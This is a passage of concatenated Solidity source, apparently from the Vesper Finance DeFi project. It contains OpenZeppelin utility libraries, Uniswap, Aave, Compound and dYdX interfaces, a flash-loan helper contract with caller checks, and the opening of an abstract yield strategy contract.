{xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "./interfaces/vesper/IVesperPool.sol"; import "./interfaces/aave/IAave.sol"; import "./interfaces/dydx/ISoloMargin.sol"; /** * @title FlashLoanHelper:: This contract does all heavy lifting to get flash loan via Aave and DyDx. * @dev End user has to override _flashLoanLogic() function to perform logic after flash loan is done. * Also needs to approve token to aave and dydx via _approveToken function. * 2 utility internal functions are also provided to activate/deactivate flash loan providers. * Utility function are provided as internal so that end user can choose controlled access via public functions. */ abstract contract FlashLoanHelper { using SafeERC20 for IERC20; AaveLendingPoolAddressesProvider internal aaveAddressesProvider; address internal constant SOLO = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; uint256 public dyDxMarketId; bytes32 private constant AAVE_PROVIDER_ID = 0x0100000000000000000000000000000000000000000000000000000000000000; bool public isAaveActive = false; bool public isDyDxActive = false; constructor(address _aaveAddressesProvider) { require(_aaveAddressesProvider != address(0), "invalid-aave-provider"); aaveAddressesProvider = AaveLendingPoolAddressesProvider(_aaveAddressesProvider); } function _updateAaveStatus(bool _status) internal { isAaveActive = _status; } function _updateDyDxStatus(bool _status, address _token) internal { if (_status) { dyDxMarketId = _getMarketIdFromTokenAddress(SOLO, _token); } isDyDxActive = _status; } /// @notice Approve all required tokens for flash loan function _approveToken(address _token, uint256 _amount) internal { IERC20(_token).safeApprove(SOLO, _amount); IERC20(_token).safeApprove(aaveAddressesProvider.getLendingPool(), _amount); } /// @dev Override this function to execute logic which uses flash loan amount function _flashLoanLogic(bytes memory _data, uint256 _repayAmount) internal virtual; /***************************** Aave flash loan functions ***********************************/ bool private awaitingFlash = false; /** * @notice This is entry point for Aave flash loan * @param _token Token for which we are taking flash loan * @param _amountDesired Flash loan amount * @param _data This will be passed downstream for processing. It can be empty. */ function _doAaveFlashLoan( address _token, uint256 _amountDesired, bytes memory _data ) internal returns (uint256 _amount) { require(isAaveActive, "aave-flash-loan-is-not-active"); AaveLendingPool _aaveLendingPool = AaveLendingPool(aaveAddressesProvider.getLendingPool()); AaveProtocolDataProvider _aaveProtocolDataProvider = AaveProtocolDataProvider(aaveAddressesProvider.getAddress(AAVE_PROVIDER_ID)); // Check token liquidity in Aave (uint256 _availableLiquidity, , , , , , , , , ) = _aaveProtocolDataProvider.getReserveData(_token); if (_amountDesired > _availableLiquidity) { _amountDesired = _availableLiquidity; } address[] memory assets = new address[](1); assets[0] = _token; uint256[] memory amounts = new uint256[](1); amounts[0] = _amountDesired; // 0 = no debt, 1 = stable, 2 = variable uint256[] memory modes = new uint256[](1); modes[0] = 0; // Anyone can call aave flash loan to us, so we need some protection awaitingFlash = true; // function params: receiver, assets, amounts, modes, onBehalfOf, data, referralCode _aaveLendingPool.flashLoan(address(this), assets, amounts, modes, address(this), _data, 0); _amount = _amountDesired; awaitingFlash = false; } /// @dev Aave will call this function after doing flash loan function executeOperation( address[] calldata, /*_assets*/ uint256[] calldata _amounts, uint256[] calldata _premiums, address _initiator, bytes calldata _data ) external returns (bool) { require(msg.sender == aaveAddressesProvider.getLendingPool(), "!aave-pool"); require(awaitingFlash, "invalid-flash-loan"); require(_initiator == address(this), "invalid-initiator"); // Flash loan amount + flash loan fee uint256 _repayAmount = _amounts[0] + _premiums[0]; _flashLoanLogic(_data, _repayAmount); return true; } /***************************** Aave flash loan functions ends ***********************************/ /***************************** DyDx flash loan functions ***************************************/ /** * @notice This is entry point for DyDx flash loan * @param _token Token for which we are taking flash loan * @param _amountDesired Flash loan amount * @param _data This will be passed downstream for processing. It can be empty. */ function _doDyDxFlashLoan( address _token, uint256 _amountDesired, bytes memory _data ) internal returns (uint256 _amount) { require(isDyDxActive, "dydx-flash-loan-is-not-active"); // Check token liquidity in DyDx uint256 amountInSolo = IERC20(_token).balanceOf(SOLO); if (_amountDesired > amountInSolo) { _amountDesired = amountInSolo; } // Repay amount, amount with fee, can be 2 wei higher. Consider 2 wei as fee uint256 repayAmount = _amountDesired + 2; // Encode custom data for callFunction bytes memory _callData = abi.encode(_data, repayAmount); // 1. Withdraw _token // 2. Call callFunction(...) which will call loanLogic // 3. Deposit _token back Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(dyDxMarketId, _amountDesired); operations[1] = _getCallAction(_callData); operations[2] = _getDepositAction(dyDxMarketId, repayAmount); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(); ISoloMargin(SOLO).operate(accountInfos, operations); _amount = _amountDesired; } /// @dev DyDx calls this function after doing flash loan function callFunction( address _sender, Account.Info memory, /* _account */ bytes memory _callData ) external { (bytes memory _data, uint256 _repayAmount) = abi.decode(_callData, (bytes, uint256)); require(msg.sender == SOLO, "!solo"); require(_sender == address(this), "invalid-initiator"); _flashLoanLogic(_data, _repayAmount); } /********************************* DyDx helper functions *********************************/ function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getMarketIdFromTokenAddress(address _solo, address token) internal view returns (uint256) { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("no-marketId-found-for-token"); } function _getWithdrawAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } /***************************** DyDx flash loan functions end *****************************/ } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface AaveLendingPoolAddressesProvider { function getLendingPool() external view returns (address); function getAddress(bytes32 id) external view returns (address); } interface AToken is IERC20 { /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (address); } interface AaveIncentivesController { function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); } interface AaveLendingPool { function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address asset, uint256 amount, address to ) external returns (uint256); function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface AaveProtocolDataProvider { function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); } //solhint-disable func-name-mixedcase interface StakedAave is IERC20 { function claimRewards(address to, uint256 amount) external; function cooldown() external; function stake(address onBehalfOf, uint256 amount) external; function redeem(address to, uint256 amount) external; function getTotalRewardsBalance(address staker) external view returns (uint256); function stakersCooldowns(address staker) external view returns (uint256); function COOLDOWN_SECONDS() external view returns (uint256); function UNSTAKE_WINDOW() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /* solhint-disable func-name-mixedcase */ import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; interface ISwapManager { event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period); function N_DEX() external view returns (uint256); function ROUTERS(uint256 i) external view returns (IUniswapV2Router02); function bestOutputFixedInput( address _from, address _to, uint256 _amountIn ) external view returns ( address[] memory path, uint256 amountOut, uint256 rIdx ); function bestPathFixedInput( address _from, address _to, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function bestInputFixedOutput( address _from, address _to, uint256 _amountOut ) external view returns ( address[] memory path, uint256 amountIn, uint256 rIdx ); function bestPathFixedOutput( address _from, address _to, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function safeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function safeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function comparePathsFixedInput( address[] memory pathA, address[] memory pathB, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function comparePathsFixedOutput( address[] memory pathA, address[] memory pathB, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function ours(address a) external view returns (bool); function oracleCount() external view returns (uint256); function oracleAt(uint256 idx) external view returns (address); function getOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external view returns (address); function createOrUpdateOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external returns (address oracleAddr); function consultForFree( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external view returns (uint256 amountOut, uint256 lastUpdatedAt); /// get the data we want and pay the gas to update function consult( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external returns ( uint256 amountOut, uint256 lastUpdatedAt, bool updated ); function updateOracles() external returns (uint256 updated, uint256 expected); function updateOracles(address[] memory _oracleAddrs) external returns (uint256 updated, uint256 expected); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface CToken { function accrueInterest() external returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrow(uint256 borrowAmount) external returns (uint256); function mint() external payable; // For ETH function mint(uint256 mintAmount) external returns (uint256); // For ERC20 function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function repayBorrow() external payable; // For ETH function repayBorrow(uint256 repayAmount) external returns (uint256); // For ERC20 function transfer(address user, uint256 amount) external returns (bool); function getCash() external view returns (uint256); function transferFrom( address owner, address user, uint256 amount ) external returns (bool); function underlying() external view returns (address); } interface Comptroller { function claimComp(address holder, address[] memory) external; function enterMarkets(address[] memory cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function compAccrued(address holder) external view returns (uint256); function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); function markets(address market) external view returns ( bool isListed, uint256 collateralFactorMantissa, bool isCompted ); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** In order to keep code/files short, all libraries and interfaces are trimmed as per Vesper need */ library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } } interface ISoloMargin { function getMarketTokenAddress(uint256 marketId) external view returns (address); function getNumMarkets() external view returns (uint256); function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; } /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ interface ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; // Interface to use 3rd party Uniswap V3 oracle utility contract deployed at https://etherscan.io/address/0x0f1f5a87f99f0918e6c81f16e59f3518698221ff#code /// @title UniswapV3 oracle with ability to query across an intermediate liquidity pool interface IUniswapV3Oracle { function assetToEth( address _tokenIn, uint256 _amountIn, uint32 _twapPeriod ) external view returns (uint256 ethAmountOut); function ethToAsset( uint256 _ethAmountIn, address _tokenOut, uint32 _twapPeriod ) external view returns (uint256 amountOut); function assetToAsset( address _tokenIn, uint256 _amountIn, address _tokenOut, uint32 _twapPeriod ) external view returns (uint256 amountOut); function assetToAssetThruRoute( address _tokenIn, uint256 _amountIn, address _tokenOut, uint32 _twapPeriod, address _routeThruToken, uint24[2] memory _poolFees ) external view returns (uint256 amountOut); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface TokenLike is IERC20 { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IStrategy { function rebalance() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function feeCollector() external view returns (address); function isReservedToken(address _token) external view returns (bool); function keepers() external view returns (address[] memory); function migrate(address _newStrategy) external; function token() external view returns (address); function totalValue() external view returns (uint256); function totalValueCurrent() external returns (uint256); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVesperPool is IERC20 { function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function feeCollector() external view returns (address); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 _interestFee, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); function withdrawFee() external view returns (uint256); // Function to get pricePerShare from V2 pools function getPricePerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "../dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../interfaces/bloq/ISwapManager.sol"; import "../interfaces/vesper/IStrategy.sol"; import "../interfaces/vesper/IVesperPool.sol"; abstract contract Strategy is IStrategy, Context { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 internal constant MAX_UINT_VALUE = type(uint256).max; // solhint-disable-next-line var-name-mixedcase address internal WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IERC20 public immutable collateralToken; address public receiptToken; address public immutable override pool; address public override feeCollector; ISwapManager public swapManager; uint256 public oraclePeriod = 3600; // 1h uint256 public oracleRouterIdx = 0; // Uniswap V2 uint256 public swapSlippage = 10000; // 100% Don't use oracles by default EnumerableSet.AddressSet private _keepers; event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector); event UpdatedSwapManager(address indexed previousSwapManager, address indexed newSwapManager); event UpdatedSwapSlippage(uint256 oldSwapSlippage, uint256 newSwapSlippage); event UpdatedOracleConfig(uint256 oldPeriod, uint256 newPeriod, uint256 oldRouterIdx, uint256 newRouterIdx); constructor( address _pool, address _swapManager, address _receiptToken ) { require(_pool != address(0), "pool-address-is-zero"); require(_swapManager != address(0), "sm-address-is-zero"); swapManager = ISwapManager(_swapManager); pool = _pool; collateralToken = IVesperPool(_pool).token(); receiptToken = _receiptToken; require(_keepers.add(_msgSender()), "add-keeper-failed"); } modifier onlyGovernor { require(_msgSender() == IVesperPool(pool).governor(), "caller-is-not-the-governor"); _; } modifier onlyKeeper() { require(_keepers.contains(_msgSender()), "caller-is-not-a-keeper"); _; } modifier onlyPool() { require(_msgSender() == pool, "caller-is-not-vesper-pool"); _; } /** * @notice Add given address in keepers list. * @param _keeperAddress keeper address to add. */ function addKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.add(_keeperAddress), "add-keeper-failed"); } /// @notice Return list of keepers function keepers() external view override returns (address[] memory) { return _keepers.values(); } /** * @notice Migrate all asset and vault ownership,if any, to new strategy * @dev _beforeMigration hook can be implemented in child strategy to do extra steps. * @param _newStrategy Address of new strategy */ function migrate(address _newStrategy) external virtual override onlyPool { require(_newStrategy != address(0), "new-strategy-address-is-zero"); 